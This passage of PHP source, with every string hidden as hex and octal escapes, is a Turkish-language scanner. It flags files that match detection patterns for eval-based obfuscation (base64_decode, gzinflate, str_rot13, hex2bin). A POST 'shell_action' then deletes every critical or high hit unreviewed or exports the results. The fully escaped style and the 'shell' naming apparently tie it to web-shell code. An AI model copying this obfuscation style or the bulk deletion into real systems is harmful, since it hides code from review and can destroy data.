"\57\x70\162\x69\x6e\164\134\163\52\x2f" => "\120\x72\151\156\164", "\x2f\166\x61\x72\x5f\144\165\155\x70\x2f" => "\x56\141\x72\40\104\x75\x6d\x70")); $obfuscation_patterns = array("\57\x65\166\141\x6c\134\163\52\134\x28\x5c\x73\52\x62\141\163\145\66\x34\137\144\x65\143\x6f\x64\x65\134\x73\52\x5c\50\57" => "\102\x61\x73\145\x36\x34\x20\x4f\142\146\165\x73\x63\x61\x74\x69\157\x6e", "\x2f\145\166\x61\154\x5c\163\x2a\134\x28\x5c\163\52\x67\172\151\x6e\146\x6c\x61\x74\x65\x5c\x73\x2a\x5c\50\x2f" => "\x47\x7a\x69\160\40\117\x62\x66\165\163\143\141\164\x69\x6f\156", "\x2f\145\166\141\x6c\x5c\x73\x2a\134\50\134\x73\x2a\163\x74\x72\x5f\x72\157\164\61\x33\x5c\x73\52\x5c\x28\57" => "\122\117\124\x31\x33\40\117\x62\x66\165\163\x63\x61\164\151\157\x6e", "\57\x65\x76\141\x6c\134\163\52\134\x28\x5c\163\52\150\145\170\x32\142\151\x6e\x5c\x73\52\134\50\57" => "\110\x65\170\40\x4f\x62\146\x75\x73\x63\141\x74\x69\157\x6e", "\x2f\x5c\x24\x5b\141\55\172\x41\55\x5a\60\55\71\135\173\61\54\62\175\134\x73\52\x3d\x5c\x73\52\x5b\x27\x22\x5d\56\x2a\77\x5b\47\42\x5d\x5c\x73\52\x3b\x2f" => "\123\150\157\x72\164\40\126\x61\x72\151\141\x62\x6c\145\x20\117\142\146\165\163\143\x61\164\151\157\x6e", "\57\x5c\44\x5c\173\x5b\141\x2d\x7a\x41\x2d\x5a\x30\x2d\71\137\x5d\x7b\61\x2c\x33\175\134\175\x2f" => "\126\x61\x72\x69\141\142\x6c\x65\x20\111\x6e\164\x65\x72\160\157\x6c\141\164\151\157\156", "\x2f\134\170\133\x30\55\x39\x61\x2d\x66\x41\x2d\106\135\x7b\62\175\57" => "\x48\x65\x78\x20\x45\156\x63\x6f\144\151\156\147", "\x2f\x5c\x5b\x30\x2d\x37\x5d\173\x33\x7d\57" => "\x4f\x63\x74\x61\x6c\40\105\156\143\x6f\144\x69\156\x67"); function scanDirectory($dir, $depth, $file_types, $patterns, $deep_scan, $check_obfuscation, $check_encryption, $scan_speed) { $results = array(); $total_files = 0; $errors = array(); if (!is_dir($dir)) { return array("\x65\x72\x72\157\x72" => "\xe2\235\214\x20\104\151\x7a\151\156\x20\142\x75\x6c\x75\156\x61\155\141\144\xc4\xb1\72\40{$dir}"); } $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST); $iterator->setMaxDepth($depth > 0 ? $depth - 1 : -1); foreach ($iterator as $file) { if ($file->isFile()) { $ext = strtolower($file->getExtension()); if ($file_types[0] !== "\x2a" && !in_array($ext, $file_types)) { continue; } $size = $file->getSize(); if ($scan_speed === "\146\x61\x73\x74" && $size > 1024 * 1024) { continue; } if ($scan_speed === "\156\157\162\155\141\154" && $size > 5 * 1024 * 1024) { continue; } $total_files++; $file_path = $file->getPathname(); try { $content = file_get_contents($file_path); if ($content === false) { $errors[] = "\xe2\235\214\40\x4f\153\x75\156\x61\155\x61\144\304\xb1\x3a\x20{$file_path}"; continue; } $file_results = array(); $risk_level = "\154\157\167"; $matched_patterns = array(); $obfuscation_found = array(); foreach ($patterns as $level => $pats) { foreach ($pats as $pattern => $desc) { if (preg_match($pattern, $content, $matches)) { $matched_patterns[] = array("\154\145\x76\145\x6c" => $level, "\160\141\x74\164\145\162\156" => $pattern, "\144\x65\163\x63" => $desc, "\155\141\164\x63\x68" => $matches[0] ?? ''); if ($level === "\143\162\151\x74\151\x63\x61\154") { $risk_level = "\x63\x72\151\x74\151\x63\x61\154"; } elseif ($level === "\x68\x69\x67\x68" && $risk_level !== "\143\x72\151\x74\151\143\x61\154") { $risk_level = "\x68\x69\x67\150"; } elseif ($level === "\155\145\144\x69\x75\155" && $risk_level === "\x6c\157\167") { $risk_level = "\x6d\145\144\151\165\x6d"; } } } } if ($check_obfuscation) { foreach ($obfuscation_patterns as $pattern => $desc) { if (preg_match($pattern, $content)) { $obfuscation_found[] = $desc; if ($risk_level === "\154\x6f\167") { $risk_level = "\x6d\145\x64\x69\x75\x6d"; } } } } if ($check_encryption) { if (preg_match("\x2f\x65\x76\141\154\x5c\x73\52\x5c\x28\x5c\163\x2a\x62\141\163\x65\66\64\x5f\x64\145\x63\157\144\145\134\163\52\134\x28\134\x73\x2a\133\47\42\135\x2e\x2a\77\x5b\x27\42\135\x5c\163\x2a\x5c\51\x5c\163\52\134\51\x2f", $content)) { $obfuscation_found[] = "\x42\x61\x73\x65\x36\64\40\105\156\x63\162\171\x70\164\151\x6f\x6e\x20\103\x68\x61\x69\156"; $risk_level = "\x63\x72\x69\x74\x69\143\x61\154"; } if (preg_match("\57\x65\x76\x61\154\x5c\163\x2a\x5c\50\x5c\x73\x2a\147\172\x69\156\x66\154\141\x74\x65\x5c\x73\x2a\x5c\50\134\163\x2a\142\141\163\145\66\64\x5f\144\x65\143\x6f\x64\145\134\163\52\134\x28\57", $content)) { $obfuscation_found[] = "\107\172\x69\x70\40\53\40\x42\x61\x73\145\x36\x34\x20\103\x68\x61\x69\x6e"; $risk_level = "\x63\x72\151\x74\151\x63\141\x6c"; } } if (!empty($matched_patterns) || !empty($obfuscation_found)) { $results[] = array("\160\141\164\x68" => $file_path, "\x73\151\172\145" => $size, "\x65\170\164" => $ext, "\162\151\163\153" => $risk_level, "\x70\x61\x74\164\x65\162\x6e\x73" => $matched_patterns, "\157\x62\146\165\x73\143\x61\164\151\x6f\x6e" => $obfuscation_found, "\155\x6f\144\x69\146\151\x65\x64" => date("\131\55\155\x2d\x64\x20\110\72\x69\72\163", $file->getMTime()), "\160\145\162\155\x69\x73\163\151\x6f\156\163" => substr(sprintf("\45\157", $file->getPerms()), -4)); } } catch (Exception $e) { $errors[] = "\xe2\x9a\xa0\357\270\217\x20\110\141\164\x61\72\x20{$file_path}\x20\x2d\40" . $e->getMessage(); } } } return array("\162\145\163\x75\x6c\164\163" => $results, "\x74\x6f\164\x61\x6c\137\x66\151\x6c\145\163" => $total_files, "\145\162\162\157\x72\x73" => $errors, "\163\143\x61\156\x5f\x74\151\155\x65" => microtime(true)); } $start_time = microtime(true); if ($_POST["\163\x68\x65\x6c\x6c\137\141\143\x74\x69\x6f\x6e"] === "\x63\154\145\x61\x6e") { $clean_count = 0; $clean_errors = array(); if (isset($_SESSION["\163\x63\x61\x6e\137\x72\145\163\x75\x6c\164\x73"])) { foreach ($_SESSION["\x73\x63\x61\156\137\x72\145\x73\x75\x6c\x74\x73"] as $result) { if ($result["\x72\151\163\153"] === "\x63\x72\x69\164\x69\143\141\154" || $result["\162\151\163\x6b"] === "\x68\x69\147\x68") { if (unlink($result["\160\x61\x74\150"])) { $clean_count++; } else { $clean_errors[] = "\xe2\x9d\214\40\x53\x69\x6c\x69\x6e\145\155\145\x64\x69\x3a\x20" . $result["\160\141\164\150"]; } } } unset($_SESSION["\x73\143\141\156\137\162\145\163\x75\154\x74\163"]); } echo "\x3c\144\x69\166\40\143\154\141\x73\163\x3d\42\x73\150\x65\154\154\55\162\145\163\165\154\x74\x73\x22\76"; echo "\74\x64\151\x76\x20\163\x74\171\154\x65\75\42\x63\x6f\x6c\157\162\x3a\x23\x30\x30\x66\146\x38\x38\73\x66\x6f\156\x74\x2d\163\151\x7a\145\72\x31\x34\x70\170\73\146\157\x6e\164\x2d\x77\x65\x69\147\x68\164\72\142\x6f\x6c\x64\73\155\141\162\x67\x69\x6e\x2d\142\x6f\164\x74\157\x6d\72\x31\60\160\x78\x3b\146\157\156\x74\x2d\x66\x61\155\151\154\x79\72\47\x43\x6f\165\x72\x69\x65\x72\40\116\145\167\x27\x2c\x6d\x6f\x6e\157\163\x70\x61\143\x65\73\x22\76"; echo "\360\x9f\xa7\271\40\x54\105\x4d\xc4\xb0\132\114\304\xb0\x4b\x20\x54\101\115\x41\115\114\x41\x4e\x44\x49\41\74\x2f\144\x69\x76\76"; echo "\x3c\x64\x69\x76\x20\143\154\141\163\x73\x3d\42\x73\150\x65\x6c\x6c\55\x73\165\x6d\x6d\141\162\171\x22\x3e"; echo "\74\144\151\x76\x20\143\x6c\x61\x73\163\75\42\163\150\x65\x6c\154\x2d\x73\165\x6d\155\141\x72\x79\x2d\x69\164\145\155\x22\76\x3c\163\160\x61\x6e\x3e\xe2\x9c\205\x20\123\151\154\x69\x6e\145\156\40\104\x6f\163\171\141\x6c\x61\x72\x3c\57\x73\x70\x61\x6e\x3e\74\163\160\141\x6e\x20\x63\x6c\x61\x73\163\75\x22\166\141\154\165\145\40\x73\x75\143\x63\145\x73\163\42\x3e" . $clean_count . "\74\57\163\160\x61\156\76\74\57\144\151\166\76"; echo "\x3c\x64\151\166\x20\x63\154\141\163\163\x3d\42\x73\150\145\154\154\x2d\x73\165\x6d\155\x61\x72\171\x2d\151\x74\x65\x6d\x22\x3e\x3c\163\160\x61\156\x3e\342\232\240\xef\270\217\40\110\141\164\141\154\141\x72\x3c\57\x73\x70\141\x6e\x3e\74\163\x70\x61\156\x20\x63\x6c\x61\163\163\x3d\42\x76\141\154\x75\x65\x20\x64\141\x6e\x67\x65\x72\42\76" . count($clean_errors) . "\x3c\57\163\x70\x61\156\76\74\57\x64\x69\166\76"; if (!empty($clean_errors)) { foreach ($clean_errors as $error) { echo "\x3c\x64\151\166\40\143\154\141\163\163\x3d\x22\163\150\145\154\x6c\55\162\145\x73\x75\154\164\55\x69\x74\x65\x6d\42\x20\x73\x74\171\154\x65\x3d\42\x62\157\162\x64\x65\x72\55\154\145\146\164\55\x63\x6f\154\157\x72\72\43\146\x66\x30\60\64\x34\73\42\x3e"; echo "\74\x73\x70\141\156\x20\143\154\141\163\x73\x3d\42\x66\x69\x6c\x65\x2d\160\x61\164\150\x22\x3e\x3c\151\40\143\154\141\163\x73\75\x22\x66\141\x73\x20\146\141\55\145\170\x63\x6c\x61\x6d\x61\164\151\157\156\55\x74\x72\x69\x61\156\x67\x6c\x65\42\40\x73\x74\171\154\145\75\42\143\x6f\x6c\157\x72\x3a\x23\146\x66\60\x30\x34\64\x3b\x22\76\74\57\151\76\x20" . htmlspecialchars($error) . "\74\x2f\x73\160\141\156\76"; echo "\x3c\57\144\151\166\76"; } } echo "\74\x2f\x64\151\166\x3e\74\57\144\151\166\76"; } elseif ($_POST["\x73\150\x65\x6c\x6c\x5f\141\x63\x74\x69\x6f\x6e"] === "\x65\170\160\157\x72\x74") { if (isset($_SESSION["\x73\x63\x61\x6e\x5f\162\145\163\x75\154\164\x73"])) { $export_data = array(); foreach ($_SESSION["\163\x63\x61\156\137\162\x65\163\x75\154\x74\163"] as $result) { $export_data[] = array("\160\x61\164\x68" => $result["\160\x61\164\150"], "\162\x69\x73\153" => $result["\x72\x69\x73\x6b"], "\x70\141\164\164\x65\x72\x6e\x73" => array_column($result["\x70\x61\x74\x74\145\x72\x6e\163"], "\144\145\x73\143"), "\157\142\x66\165\x73\x63\x61\x74\x69\157\x6e" => $result["\x6f\142\146\165\x73\143\x61\164\151\157\x6e"]); } $json = json_encode($export_data, JSON_PRETTY_PRINT); $filename = "\163\150\145\x6c\154\137\163\143\x61\156\137" . date("\131\55\155\x2d\144\137\110\55\151\55\x73") . "\x2e\x6a\163\x6f\x6e"; echo "\74\x64\151\166\x20\x63\x6c\141\x73\x73\75\x22\163\150\x65\154\x6c\x2d\162\145\x73\x75\x6c\x74\x73\42\76"; echo "\x3c\x64\151\x76\40\x73\x74\171\154\145\75\42\x63\157\x6c\x6f\162\x3a\x23\x62\63\60\x30\x66\x66\73\146\157\x6e\164\55\x73\151\172\x65\x3a\x31\x34\160\x78\73\146\x6f\x6e\164\55\x77\x65\151\x67\150\x74\72\x62\x6f\x6c\144\x3b\155\x61\162\x67\151\x6e\55\142\157\x74\x74\x6f\155\72\61\x30\160\170\73\146\157\156\164\x2d\146\x61\155\x69\154\171\72\47\103\157\165\162\x69\x65\x72\40\116\x65\x77\47\x2c\x6d\157\156\x6f\163\160\141\143\145\x3b\x22\76"; echo "\360\x9f\223\244\40\x44\111\305\236\101\40\x41\x4b\x54\x41\122\x49\115\x3c\x2f\144\x69\166\76"; echo "\x3c\164\145\x78\x74\141\x72\145\141\40\x73\164\x79\x6c\145\x3d\42\167\151\x64\164\x68\72\x31\60\60\x25\73\x68\145\151\147\150\164\x3a\x33\x30\60\160\170\x3b\x62\141\x63\x6b\x67\x72\x6f\x75\x6e\x64\72\x72\147\x62\141\x28\60\x2c\x30\54\x30\54\60\56\x35\51\73\142\x6f\x72\144\x65\x72\x3a\61\x70\170\40\163\x6f\154\x69\144\x20\162\147\142\x61\50\61\x37\71\54\x30\54\x32\x35\65\x2c\x30\56\x32\51\73\x62\157\x72\x64\145\x72\x2d\162\x61\144\151\x75\163\x3a\64\x70\170\x3b\x63\x6f\x6c\157\x72\72\x23\144\64\142\146\146\x66\x3b\x70\141\x64\144\151\x6e\x67\72\61\60\x70\170\x3b\146\157\x6e\164\55\146\141\x6d\151\154\x79\72\x43\x6f\x75\162\151\145\x72\40\116\145\x77\x2c\x6d\x6f\x6e\x6f\x73\x70\141\x63\x65\x3b\146\157\x6e\164\55\x73\151\x7a\x65\x3a\61\61\x70\x78\73\42\x3e" . htmlspecialchars($json) . "\74\57\164\x65\170\x74\x61\162\x65\x61\x3e"; echo "\74\144\151\x76\x20\163\x74\x79\154\x65\75\x22\155\x61\162\x67\x69\156\x2d\x74\x6f\160\x3a\x38\160\x78\x3b\144\151\x73\160\154\141\x79\72\x66\154\145\170\x3b\x67\x61\160\x3a\x38\x70\170\73\42\x3e"; echo "\x3c\142\x75\x74\164\157\156\x20\157\x6e\143\x6c\151\143\x6b\75\x22\143\157\160\x79\124\157\x43\154\x69\160\142\x6f\141\x72\144\50\164\150\151\163\56\x70\162\145\x76\151\157\165\163\105\154\x65\155\x65\x6e\x74\123\x69\x62\154\x69\156\147\x2e\166\141\154\165\x65\x29\x22\40\143\154\141\x73\163\75\x22\142\x74\156\x2d\163\143\x61\x6e\156\x65\162\40\x62\164\156\x2d\x73\143\141\x6e\156\145\162\55\x70\162\151\155\141\162\x79\42\76\74\151\x20\143\154\141\x73\x73\x3d\42\146\x61\x73\40\146\141\55\x63\157\160\x79\x22\x3e\74\57\x69\x3e\40\113\117\120\x59\x41\x4c\x41\x3c\x2f\x62\x75\x74\x74\x6f\156\x3e"; echo "\74\x61\40\150\162\x65\x66\75\42\x64\x61\x74\x61\x3a\x61\160\160\154\x69\143\141\164\151\157\x6e\x2f\x6a\x73\157\x6e\x3b\x63\150\x61\162\163\145\x74\75\165\164\146\55\70\54" . urlencode($json) . "\42\40\x64\157\x77\x6e\154\x6f\141\x64\75\x22" . $filename . "\42\x20\143\154\x61\163\x73\75\42\142\x74\x6e\x2d\163\143\141\x6e\x6e\x65\162\40\x62\164\x6e\55\163\143\141\x6e\156\145\162\x2d\163\x75\x63\143\145\163\x73\x22\40\163\x74\x79\154\x65\75\x22\164\x65\x78\164\55\x64\x65\143\157\x72\141\164\x69\157\156\x3a\156\x6f\156\145\x3b\x22\x3e\74\151\40\143\154\141\x73\x73\x3d\42\x66\x61\163\x20\146\141\55\144\x6f\167\x6e\154\x6f\141\144\x22\x3e\74\x2f\151\76\40\xc4\xb0\x4e\x44\xc4\260\122\74\x2f\141\x3e"; echo "\74\57\x64\151\166\x3e\74\x2f\144\x69\166\76"; } else { echo "\74\144\x69\x76\x20\x63\x6c\141\163\163\75\x22\163\x68\145\154\x6c\x2d\162\x65\163\165\154\x74\x73\x22\x3e\x3c\144\151\x76\x20\163\164\x79\x6c\x65\x3d\42\143\157\x6c\157\162\x3a\x23\146\x66\x61\141\60\x30\73\x66\157\x6e\x74\x2d\146\x61\x6d\x69\154\171\72\47\103\157\165\162\x69\145\162\40\116\x65\167\47\x2c\155\x6f\156\157\163\160\141\x63\x65\73\x22\x3e\xe2\232\240\357\xb8\x8f\x20\303\x96\156\143\x65\x20\x62\x69\162\x20\x74\x61\162\141\x6d\x61\x20\171\x61\160\xc4\xb1\156\41\74\x2f\144\x69\166\76\x3c\x2f\144\151\166\x3e"; } } else { $scan_result = scanDirectory($dir, $depth, $file_types, $patterns, $deep_scan, $check_obfuscation, $check_encryption, $scan_speed); if (isset($scan_result["\x65\162\x72\157\x72"])) { echo "\74\144\151\x76\x20\x63\154\x61\x73\x73\x3d\42\163\x68\x65\154\154\55\x72\x65\x73\x75\154\x74\x73\x22\76\74\x64\x69\x76\x20\x73\164\171\x6c\145\75\42\143\157\x6c\157\x72\72\43\x66\x66\x30\x30\64\x34\x3b\x66\157\x6e\x74\x2d\x66\x61\155\x69\154\x79\x3a\47\x43\x6f\165\x72\151\x65\x72\40\x4e\145\167\47\54\155\157\x6e\157\163\160\141\143\x65\73\42\x3e" . $scan_result["\145\x72\162\x6f\x72"] . "\74\57\144\151\166\x3e\74\57\x64\x69\166\x3e"; } else { $results = $scan_result["\162\145\163\165\x6c\164\x73"]; $total_files = $scan_result["\164\157\x74\141\154\137\x66\x69\x6c\x65\x73"]; $errors = $scan_result["\145\162\162\x6f\162\163"]; $scan_time = microtime(true) - $start_time; $_SESSION["\x73\x63\141\x6e\137\162\145\163\165\154\164\163"] = $results; $critical_count = 0; $high_count = 0; $medium_count = 0; $low_count = 0; foreach ($results as $r) { if ($r["\x72\151\x73\153"] === "\x63\x72\x69\164\x69\143\141\x6c") { $critical_count++; } elseif ($r["\162\x69\x73\x6b"] === "\150\x69\x67\x68") { $high_count++; } elseif ($r["\162\x69\x73\x6b"] === "\x6d\x65\x64\151\165\x6d") { $medium_count++; } elseif ($r["\x72\151\x73\153"] === "\x6c\157\x77") { $low_count++; } } $suspicious_count = $critical_count + $high_count + $medium_count; echo "\74\163\x63\162\x69\160\x74\76\xa\40\40\x20\x20\x20\40\40\40\x20\x20\40\40\x20\40\x20\40\x20\40\x20\40\x64\157\x63\165\155\145\156\164\x2e\x67\x65\164\105\154\145\x6d\x65\156\164\102\171\x49\x64\x28\42\164\157\x74\141\154\x46\151\154\145\x73\x22\x29\x2e\164\145\170\x74\x43\157\156\x74\145\x6e\164\x20\x3d\40" . $total_files . "\x3b\xa\40\x20\x20\40\x20\40\40\40\40\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\144\x6f\143\165\155\145\x6e\164\56\147\145\x74\x45\154\x65\155\x65\x6e\x74\102\171\x49\x64\50\42\x73\x75\163\x70\151\x63\151\x6f\165\163\x46\x69\x6c\x65\x73\42\x29\56\x74\145\x78\164\103\x6f\x6e\164\x65\x6e\x74\40\75\x20" . $suspicious_count . "\x3b\xa\x20\x20\x20\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\x64\x6f\143\165\155\145\x6e\x74\56\147\x65\x74\x45\154\x65\155\145\x6e\x74\x42\171\111\x64\x28\42\143\162\x69\x74\x69\143\141\x6c\106\151\x6c\x65\163\42\x29\x2e\164\x65\x78\x74\x43\157\x6e\x74\145\156\164\40\x3d\40" . $critical_count . "\73\12\x20\40\x20\40\x20\x20\x20\x20\40\40\40\40\40\40\x20\x20\40\x20\x20\x20\x64\x6f\143\165\155\x65\x6e\164\x2e\147\145\164\105\154\145\x6d\x65\156\x74\x42\x79\111\x64\50\42\x73\x63\x61\156\124\151\155\x65\x22\x29\56\164\x65\x78\164\103\157\156\x74\x65\x6e\x74\x20\75\40" . number_format($scan_time, 2) . "\73\12\x20\x20\40\x20\40\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\x3c\57\x73\143\162\151\160\164\76"; echo "\x3c\144\151\166\40\x63\x6c\x61\x73\x73\x3d\42\x73\x68\x65\x6c\154\55\x72\x65\x73\165\x6c\164\x73\x22\40\151\x64\75\x22\163\x68\x65\154\154\x52\145\x73\x75\x6c\164\163\42\x3e"; echo "\74\x64\151\x76\40\x63\154\141\x73\163\75\x22\x73\x68\x65\x6c\154\x2d\x73\165\155\155\141\x72\171\x22\76"; echo "\74\x64\151\x76\x20\143\x6c\x61\163\163\75\42\163\150\x65\154\x6c\55\x73\x75\155\155\x61\162\x79\x2d\x69\164\145\155\x22\76\74\x73\160\141\156\76\360\237\223\201\40\124\141\x72\x61\156\141\156\40\x44\157\x73\171\x61\74\57\163\x70\141\x6e\x3e\74\x73\160\x61\156\x20\x63\x6c\141\163\x73\x3d\42\x76\x61\154\165\145\42\x3e" . number_format($total_files) . "\x3c\57\163\x70\141\156\76\x3c\57\x64\x69\166\76"; echo "\74\144\x69\166\40\143\154\141\163\x73\75\x22\163\x68\145\154\x6c\55\163\165\155\155\x61\x72\x79\55\151\164\145\x6d\42\76\74\163\x70\x61\x6e\76\360\x9f\224\215\x20\xc5\236\303\xbc\x70\150\145\154\x69\x20\x44\157\x73\x79\141\74\x2f\x73\x70\x61\x6e\76\x3c\163\x70\x61\156\40\143\154\x61\x73\x73\x3d\42\x76\x61\x6c\165\145\x20" . ($suspicious_count > 0 ? "\x64\x61\x6e\x67\x65\162" : "\x73\x75\x63\143\145\x73\163") . "\x22\x3e" . $suspicious_count . "\74\x2f\x73\x70\x61\156\x3e\74\x2f\144\x69\166\76"; echo "\74\144\x69\166\x20\x63\x6c\x61\x73\x73\x3d\42\163\150\145\x6c\154\x2d\163\165\155\155\141\162\x79\x2d\x69\164\145\155\x22\76\x3c\163\x70\141\x6e\x3e\360\x9f\x94\xb4\x20\x4b\x72\x69\x74\151\x6b\74\x2f\x73\x70\x61\156\x3e\74\x73\x70\141\x6e\x20\143\154\x61\x73\x73\x3d\x22\166\141\154\x75\x65\x20\144\141\x6e\x67\145\162\42\76" . $critical_count . "\x3c\57\x73\160\141\156\76\x3c\x2f\144\x69\x76\x3e"; echo "\74\x64\x69\x76\40\143\x6c\x61\x73\x73\75\x22\x73\x68\x65\154\154\55\x73\x75\155\155\x61\x72\171\x2d\151\164\145\155\42\76\74\163\160\141\x6e\76\xf0\x9f\237\xa1\x20\x59\303\xbc\x6b\x73\145\x6b\74\57\163\160\x61\x6e\x3e\74\x73\160\141\x6e\40\x63\x6c\x61\x73\x73\x3d\42\166\x61\154\165\x65\x20\167\x61\x72\x6e\151\156\147\x22\76" . $high_count . "\x3c\57\163\x70\x61\156\x3e\x3c\57\x64\x69\166\x3e"; echo "\74\x64\x69\166\x20\143\x6c\x61\x73\x73\75\42\163\x68\145\x6c\154\x2d\163\x75\155\155\x61\162\171\x2d\151\164\145\155\x22\x3e\x3c\x73\160\141\156\76\360\237\237\xa0\40\x4f\162\x74\141\x3c\x2f\163\x70\x61\156\76\x3c\163\160\x61\x6e\x20\x63\154\141\x73\163\x3d\x22\x76\x61\154\x75\x65\42\x20\x73\x74\171\x6c\145\75\x22\143\x6f\154\157\162\72\43\x62\63\x30\x30\x66\x66\73\x22\76" . $medium_count . "\74\x2f\x73\x70\141\156\76\x3c\57\144\x69\166\76"; echo "\74\x64\x69\x76\x20\x63\x6c\x61\163\x73\x3d\42\x73\x68\145\x6c\x6c\x2d\x73\x75\x6d\x6d\141\x72\x79\55\x69\x74\x65\x6d\x22\x3e\74\163\x70\141\156\x3e\360\x9f\237\242\x20\x44\303\xbc\305\237\303\274\153\74\57\163\x70\x61\156\x3e\x3c\163\x70\141\x6e\40\x63\154\141\x73\163\75\42\166\x61\x6c\165\x65\x20\x73\165\143\143\x65\163\x73\x22\x3e" . $low_count . "\74\x2f\163\x70\x61\156\76\x3c\x2f\144\151\x76\76"; echo "\x3c\x64\x69\x76\40\143\x6c\141\x73\x73\x3d\42\x73\150\x65\154\x6c\55\x73\x75\x6d\155\x61\x72\x79\55\x69\x74\145\155\42\76\x3c\163\x70\141\x6e\76\xe2\217\261\xef\270\x8f\40\x54\141\x72\x61\155\x61\x20\x53\xc3\274\x72\x65\x73\x69\x3c\x2f\163\160\141\156\x3e\74\x73\x70\141\156\x20\x63\x6c\x61\163\163\75\x22\x76\x61\x6c\165\145\x22\76" . number_format($scan_time, 2) . "\x73\x3c\57\163\x70\141\x6e\x3e\74\57\x64\151\x76\76"; echo "\74\x64\x69\166\x20\x63\x6c\x61\x73\163\x3d\x22\163\150\x65\154\x6c\55\x73\x75\x6d\x6d\x61\162\x79\x2d\151\164\x65\155\x22\76\74\163\160\x61\156\x3e\342\232\xa0\xef\270\217\40\x48\x61\164\141\x6c\x61\x72\x3c\57\x73\160\x61\156\76\74\163\160\141\x6e\40\143\154\x61\x73\163\x3d\x22\166\141\x6c\165\x65\40\144\x61\156\x67\145\x72\x22\x3e" . count($errors) . "\x3c\x2f\x73\x70\141\x6e\76\74\x2f\144\x69\166\76"; echo "\74\57\144\151\166\76"; if (!empty($errors)) { echo "\74\144\151\166\x20\x73\164\171\154\145\x3d\42\x6d\141\x72\147\151\x6e\55\164\x6f\160\72\61\60\x70\x78\73\160\x61\x64\x64\x69\156\147\x3a\70\x70\x78\73\x62\141\x63\153\147\162\157\165\156\x64\x3a\x72\x67\142\x61\x28\62\x35\65\54\x30\x2c\x36\70\54\60\56\61\51\x3b\142\157\162\144\x65\162\x2d\x72\x61\x64\151\x75\163\72\64\160\170\x3b\x62\157\x72\x64\145\x72\x3a\61\160\170\40\x73\x6f\x6c\x69\144\40\162\x67\142\141\x28\62\x35\x35\x2c\60\x2c\66\70\x2c\60\x2e\62\51\73\x22\x3e"; echo "\74\144\x69\x76\40\x73\164\171\x6c\x65\x3d\42\x63\157\x6c\x6f\162\72\x23\146\146\60\x30\64\x34\x3b\x66\157\x6e\x74\x2d\x77\x65\151\147\x68\164\x3a\142\157\x6c\x64\73\x66\x6f\156\x74\55\x73\151\x7a\x65\x3a\x31\x30\160\x78\73\146\157\156\x74\x2d\x66\x61\x6d\151\x6c\x79\72\x27\x43\x6f\x75\x72\151\145\x72\40\x4e\145\x77\47\x2c\x6d\x6f\156\157\163\x70\141\x63\x65\x3b\x22\x3e\342\x9a\xa0\xef\270\217\x20\110\x41\124\101\x4c\101\122\x3a\x3c\57\144\x69\x76\76"; foreach ($errors as $error) { echo "\x3c\x64\151\166\x20\163\x74\x79\154\x65\x3d\x22\x63\157\x6c\157\162\x3a\43\146\146\x61\x61\x30\60\x3b\x66\x6f\156\164\55\163\151\x7a\x65\72\x39\x70\x78\73\160\141\x64\x64\x69\x6e\x67\72\62\160\x78\x20\x30\73\x66\x6f\x6e\164\55\x66\141\155\x69\x6c\x79\72\x27\103\x6f\x75\162\x69\145\162\40\116\145\x77\47\x2c\x6d\157\156\157\163\x70\x61\x63\x65\x3b\42\76" . htmlspecialchars($error) . "\x3c\x2f\144\x69\x76\76"; } echo "\74\57\x64\x69\x76\76"; } if (empty($results)) { echo "\74\x64\x69\166\40\163\x74\171\154\145\75\42\164\145\x78\164\x2d\x61\154\x69\147\x6e\72\x63\x65\156\x74\x65\x72\x3b\160\141\144\144\151\x6e\x67\72\x32\60\160\170\x3b\x63\157\x6c\157\x72\72\x23\x30\60\146\146\x38\x38\73\146\x6f\156\164\x2d\x66\x61\x6d\151\x6c\171\x3a\47\103\x6f\165\162\x69\145\162\x20\x4e\x65\167\x27\54\155\x6f\156\157\163\160\x61\x63\x65\73\x22\76"; echo "\x3c\x69\x20\x63\x6c\141\x73\x73\75\42\146\141\163\x20\146\x61\55\143\x68\145\x63\x6b\x2d\x63\x69\162\143\154\145\x22\x20\x73\x74\171\154\x65\x3d\x22\146\157\156\164\x2d\163\151\172\x65\72\x32\64\x70\170\73\144\x69\163\160\x6c\x61\171\72\142\x6c\x6f\143\153\x3b\x6d\141\162\x67\151\156\55\142\x6f\164\164\x6f\155\72\x38\x70\x78\73\42\76\x3c\57\x69\76"; echo "\xe2\x9c\x85\x20\110\151\xc3\xa7\40\xc5\237\303\xbc\x70\150\x65\x6c\x69\x20\x64\x6f\x73\x79\x61\x20\142\x75\x6c\165\156\141\x6d\x61\144\304\261\41"; echo "\x3c\57\144\x69\166\76"; } else { echo "\74\144\151\x76\x20\x73\x74\x79\154\x65\75\42\155\x61\162\147\x69\156\x2d\164\157\x70\x3a\61\60\x70\170\x3b\146\x6f\x6e\x74\x2d\x73\151\172\145\72\x31\x30\160\x78\73\x63\157\154\157\x72\x3a\x23\70\x38\66\66\141\141\73\160\x61\x64\x64\x69\x6e\147\72\64\x70\x78\x20\x30\x3b\142\x6f\x72\144\145\162\x2d\x62\157\164\164\157\x6d\x3a\61\160\170\x20\163\157\154\x69\144\x20\162\147\142\141\50\61\x37\x39\54\60\x2c\x32\x35\x35\x2c\x30\56\61\x29\x3b\146\x6f\x6e\164\55\x66\x61\155\151\x6c\x79\x3a\x27\x43\157\165\x72\151\145\162\40\x4e\145\x77\47\54\155\157\x6e\x6f\x73\160\x61\143\x65\73\x22\76"; echo "\xf0\237\x93\213\x20\74\163\164\x72\x6f\156\x67\40\x73\164\171\154\x65\x3d\42\x63\157\x6c\157\x72\72\43\x62\63\x30\60\x66\x66\x3b\x22\x3e" . count($results) . "\x3c\57\163\164\x72\157\156\x67\76\x20\xc5\237\303\xbc\160\150\x65\154\151\x20\x64\157\x73\x79\141\x20\142\x75\x6c\x75\x6e\144\165"; echo "\x3c\x2f\x64\151\x76\76"; foreach ($results as $result) { $risk_icon = array("\x63\x72\x69\x74\x69\x63\141\154" => "\360\x9f\224\xb4", "\x68\151\147\150" => "\xf0\x9f\237\241", "\155\145\x64\151\165\155" => "\xf0\237\237\xa0", "\154\x6f\167" => "\360\237\237\xa2"); $risk_label = array("\x63\162\151\164\x69\143\141\x6c" => "\113\162\151\x74\x69\153", "\x68\151\147\x68" => "\131\303\xbc\153\x73\x65\x6b", "\155\145\144\x69\x75\x6d" => "\x4f\x72\x74\141", 